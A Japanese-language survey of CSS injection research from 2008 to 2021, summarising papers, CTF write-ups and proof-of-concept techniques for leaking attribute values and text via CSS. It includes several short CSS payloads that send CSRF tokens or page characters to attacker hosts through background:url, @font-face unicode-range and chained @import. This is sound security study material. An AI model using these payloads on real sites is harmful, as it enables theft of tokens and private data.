CSS Injection 調査
メンテされてそうな資料
Portswigger
Malicious CSS
CSS Injection Primitives
既存手法のまとめページ
以下では、参考資料を時系列順に整理していく。
2008
The Sexy Assassin Tactical Exploitation using CSS.
CSS HTML Attribute Reader - おそらくこれが元祖
code:css
inputvalue*="\x10"{ background:url("//attacker.com/?h=\x10"); }
… 111 different variations …
inputvalue*="\x7F"{ background:url("//attacker.com/?h=\x7F"); }
のようにまず使用されている文字種を特定してから
code:css
inputvalue^="u"{ background:url("//attacker.com/?s=u"); }
… and so, 8 questions... u,i,o,p,a,s,d,f …
inputvalue^="f"{ background:url("//attacker.com/?s=f"); }
とそれだけを狙い撃ちで特定していくやり方
Unicodeでの表し方は\x10ではなく\10のはずだが、昔は違った?
[^=]と[$=]を併用することでリクエスト数を減らそうとしている - 参考
PoC
そのほか、visitedで閲覧履歴やローカルIPの漏えいなど
2012/12
Scriptless Attacks - Stealing the Pie without touching the Sill
CSS + RegEx - PoC ただし今のブラウザでは動かなさそう?
SVG keylogger - PoC ただし今のブラウザでは動かなさそう?
フォントのリガチャとスクロールバーを利用して属性値(CSRFトークン)をリーク - PoC
code:css
@font-face {
font-family: TestS; src: url(test_S.svg#TestS) format("svg");
}
のようにSにのみ反応するフォントを作成しておいて、
code:css
div.a a:after {
content: attr(href);
font-family: TestS;
}
狙いの属性値をcontentでフォント適用可能にし、
code:css
div.a::-webkit-scrollbar-track-piece:vertical:increment {
background: red url(/S);
}
マッチした時にスクロールバーを利用して裏でリークさせる
おそらくこのパターンの初出? ただしこの時点では効率悪そう
理論的にはむしろテキストノードのリークに有用なはずだが特に触れられておらず
論文Ver
2015/7
CSS: Cascading Style Scripting
CSSでのXSS発火手法を紹介。expression以外にもいろいろ
前は読めたはずだが今は落ちてるっぽい。
2015/10
@font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す
unicode-rangeを用いた手法の初出
code:css
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* 取得される */
unicode-range:U+0041;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>
重複は判別不可
2016/5
Path–Relative Style Sheet Import (RPO/PRSSI)
RPOを利用したCSSインジェクション
code:css
<li>{}*{color:red; font-size: x-large}ul li:after{content:"(TEN SPRZEDAWCA TO OSZUST!)"}body{background-image:url('http://static.fjcdn.com/pictures/I+am+offensive+and+i+find+this+black+come_3d9dcc_3223497.jpg');}</li>
上記のようなContentプロパティでの改ざんが紹介されている
XSSへの発展も記載
2016/12
Reading Data via CSS Injection
攻撃者が用意した罠ページで被害者ページをiframeで読み込ませる形でのPoC
属性値リークのパターンはこのあたりから実践的になってきたか
2017/9
MichałBentkowskiによるCSSインジェクション
Stealing Data in Great style – How to Use CSS to Attack Web Application. ※英語版
属性値リークのPoC - さらに実践的。文字数の決まっているCSRFトークンを盗むことを想定
fontforgeでSVGをWOFFに変換してリガチャでテキストノードを窃取
SVGフォントがブラウザでサポートされなくなったからWOFFを使ったとのこと
テキストノードリークがここまで実践的になったのは初?
2017/12
34C3 CTF 2017 URLSTORAGE
RPO経由でのCSSインジェクションによる属性値リークが登場する問題。
公式Writeup
参考Writeup
属性値が数字から始まる場合は文字列とみなされない問題がある。本問題では引用符で囲もうにもエンコードされてしまうため、#flag[value*=C3_0]{background: url(//l4w.io/rpo/logging.php?flag=C3_0);}とアスタリスクを使用することで回避している。
2018/2
HarekazeCTF2018 Web250 : A custom css for the flag
@font-faceのunicode-range手法を用いたCSSインジェクションの問題。
ただしこのやり方では重複を判定することはできない。animationとfirst-line疑似クラスを組み合わせることで文字の登場する順番を特定し、FLAGを推測可能なレベルにしている。※PoCにはtypoがあるため注意。
ただし、少なくとも現在のChromeではこれはうまく再現しない。
「ブラウザが結果を計算して全部の文字をプリロードしてしま」っているように見える。
Firefoxだと逆順取得は成功するが、最後の1文字はロードされなかったり、少し微妙な挙動。
animationの処理が当時と変わってしまっているのか?
参考Writeup1 参考Writeup2 - いずれも@font-faceで文字種を特定した後は絞り込んだプロパティ名から総当たりでやっている。
2018/03
insomnihack'18 - Cool Storage Service web challenge
WebSocketで実装されたサイトでのCSSインジェクション属性値リークの問題?
あまり情報が転がってないので詳細はよくわからず
2018/06
Google Capture The Flag 2018 (Quals) Cat Chat
Writeup
adminとのチャット機能を通じて属性値リーク
2018/7
Exfiltration via CSS Injection
属性値リークのCSSインジェクション。
Chrome、Firefox、Edgeでは、background-imageプロパティはタグがhiddenの場合は適用されない。
そのため、隣接兄弟結合子や一般兄弟結合子を用いて無理やり適用させる手法で回避している。
スタイルを適用可能な隣接する要素が存在する場合のみ動作する。
code:css
inputname=csrfvalue^=csrF ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
ちなみにIEだとhiddenの場合でもfetchしにいくことを確認している。
2018/8
CSS Injection ++ - 既存手法の概観と対策
日本語でCSSインジェクションを体系的に紹介しているおそらくほぼ唯一の資料。嬉しい!
基本的な属性値リークと、テキストノードのリーク(リガチャ+スクロールバーの手法、@font-face+unicode-rangeの手法)をカバー
2018/8
PoC: Leak text nodes via CSS injection
CSS Recursive importとリガチャを組み合わせたPoC
a. Injection request @import url(http://.../style_1.css)
b. style_1 contains payload to leak first tuple + @import url(http://.../style_2.css)
c. server doesn’t respond to style_2 until it receives leaked tuple
d. style_2 contains payload to leak second tuple + @import …
e. ...
属性値リークの方はこちらのPoC
@importによる効率化が登場したのはおそらくここが初
ただしこの手法には以下の問題点がある。
CSSは読み込み順番に関わらず、最後に記述されたスタイルが適用される
importはスタイルより前に記述しなければ動作しない
つまり、importの読み込みを遅らせたところで、優先されるのはその後に続くスタイルになる
一方で、同要素を指す場合でも親要素を含めて指定したセレクターは、記述場所に関わらず親要素を指定していないセレクターより優先されるため、最初は対象となる要素のみ指すセレクターを指定し、「style_2」からは対象となる要素の親要素を含めたセレクターを指定していけば、期待通りの動作をしてくれる
だが、結局この手法は親要素の数までしか使えない。上記PoCでやたらと<div>を入れ子にしているのはそういう理由
2018/10
SECCON 2018 Quals - GhostKingdom
Writeup Writeup
adminのCookieがcsrftokenと同値のためCSSインジェクション属性値リークで窃取
2018/12
CSS Injection 再入門
「既存手法の外観と対策」のスライドをテキストでかみ砕いて説明した記事
再帰インポートについても追加で少し触れられている
2019/2
CSS Injection Attacks
この時点でのCSSインジェクションの変遷が体系的にまとまっている
先の再帰インポート手法のPoCもこの人
2019/4
Better Exfiltration via HTML Injection
再帰インポートを利用する手法を詳しく解説してくれている
https://miro.medium.com/max/2000/1*vWkX27iq0UoSM_p4NCtlfQ.png
これまでの手法では以下の制限があった。
十分に長いペイロードを注入できる必要がある
iframeを使用できる必要がある
CSPに引っかからない必要がある
@importを使えれば上の2つは解消できる
前出の手法にあった「試行回数が親要素の数に制限される」問題を、最初に一挙に文字数分の@importを読み込ませることで解決しているという点で、こちらの方が実践的な手法になっている
ただし、@importはstyleタグの先頭に書く必要があるため、それができない場合は既存の手法でやるしかないと思われる
この手法をもとにしたツール「sic(Sequential Import Chaining)」
2019/05
TSG CTF - BADNONCE Part2
CSPのnonceを再帰インポート手法を用いてリークさせてXSSに繋げる問題。
Writeupではsicを使用している
【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む)でも紹介がある
2019/10
What can we do with single CSS injection?
こちらでも説明あり
デフォルトで使用できるフォントを利用したテキストノードのリーク手法
Comic Sansの大文字の高さを利用して垂直スクロールバーをトリガーしている
PoC1 PoC2
CSPにより外部フォントの読込ができない場面で有用な可能性
文字が繰り返されているかどうかは検出できるが、どの文字が繰り返されているかは検出できない
2020/2
CSS data exfiltration in Firefox via a single injection point
MICHAŁ BENTKOWSKI の新手法。
既存の再帰インポートの手法はスタイルシートを非同期でロードするChromeでは使えるが、同期的に処理するFirefoxでは機能しない。
code:css
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
この問題は、上記のようにstyleタグを分割して書くことで回避できる。
しかし、デフォルトではブラウザの単一サーバーへの同時接続が6つに制限されているため、リークしたい文字数が多いとデータをリークするリクエストが届かなくなってしまう。
そこで、HTTP/2が接続を多重化できることを利用することでこれを回避する。
PoC
2020/05
元Webデザイナーのセキュリティエンジニアが警告する、CSSインジェクションの脅威
元はAVtokyo2019の"A New Era of CSS Injection"だが、スライドは転がってなさそう
CSSインジェクションの基礎や、既存の再帰インポート手法の問題点を回避した手法とツールの紹介。とてもわかりやすくてありがたい
CSS適用には「より詳細で多くの種類を使用したセレクターが優先される」というルールがある
first-child、nth-child(1)という疑似クラスを利用
code:html
<style>
value^=se:first-child:first-child{background: url(http://~/leak?se)} /* こちらが適用される */
value^=s:first-child{background: url(http://~/leak?s)}
</style>
<input value="secret_text">
<input value="very_secret_text">
これらの疑似クラスはいくらでも繋げて書くことができるため、要素数に依存しない攻撃が可能
ちなみに、:first-child~*のように書くことでhiddenの場合の回避策と併用できることを確認している。
ONSEN(ONdemand csS injEctioN tool)
私の環境だとflask周りのコードを少し改変する必要があった
文字数指定する必要なし、待機時間を大幅に短縮
とはいえ、sicも文字数が分からない場合は多めに指定できるし、80文字程度でも一瞬で取得できるのであまりこの点では困らない気がする。
2021/06
BCACTF 2.0 Stylish
Writeup1
@font-faceのunicode-range手法を使っている
Writeup2
:nth-child()疑似クラスを用いて、キーロガー的なペイロードを作成している
問題の内容がよくわからないので何とも言えないが、あまり汎用的ではなさそう?
2021/10
TSG CTF 2021 Udon
作問者Writeup
単一のHTTPヘッダインジェクション脆弱性を使ってデータリークを狙う問題。
Linkヘッダを使ってcssを読み込ませる方法がある。ただしFirefoxしか使えない(本問のクローラはFirefox)
数字から始まる場合に備えてエスケープしている
Writeup1
Writeup2
ASIS CTF Quals 2021
Writeup1
Writeup2
metaタグを介して実装されたnonce、またはscriptタグ内のnonceは、CSS属性セレクターを介してリークされる可能性がある
iframeを使ってやろうとしたがSameSite=Laxがあるため新しいウインドウを開かせている
2021/11
SVGフォントとCSSを使ってページ内のテキストを読み取る
既存手法ではSVGフォントはサポートされていないのでWOFFに変換する…とあったが、実はSafariはSVGフォントをサポートしている。
この手法の利点は、SVGフォントはすべてインラインでも記述できるので、CSPがフォントリソースのロードをブロックするような状況でもフォントを定義して適用することができること。
2021/12
uBlock, I exfiltrate: exploiting ad blockers with CSS
gigazine
広告ブロッカーuBlockにおいてCSSインジェクションの脆弱性があった問題。
いくつかの興味深い攻撃手法も紹介されている。
@font-faceとunicode-rangeを用いたキーロガー
type=passwordには使えない
display: block;を使ってscriptの内容をリークさせる
Firefoxは同期的にロードするため文字の順番を保持できる
ただし、やはり重複を検出することは難しい
Firefoxでfiirst-line疑似クラスを用いて最初の単語を除外してリーク
補足:word-breakとword-wrapはややこしい
文字数を増やしたりするとうまく動かない?あくまでPoC用のanimationなのか
同じくFirefoxで、animationを駆使することで逆順でリーク
こちらも文字数を増やしたりするとうまく動かない。
そのほかのPoC
現在のChromeでは文字順を正確に取得するのは難しく、Firefoxでも汎用的なanimationを書くのは難しい?
CTFのWebセキュリティにおけるXSSまとめ(PRSSI, XFS, CSS Injection)
CTFで出題されたCSSインジェクション問題を紹介してくれている